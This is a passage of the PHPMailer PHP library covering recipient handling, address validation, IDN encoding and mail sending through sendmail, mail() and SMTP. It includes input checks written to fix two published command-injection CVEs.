        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
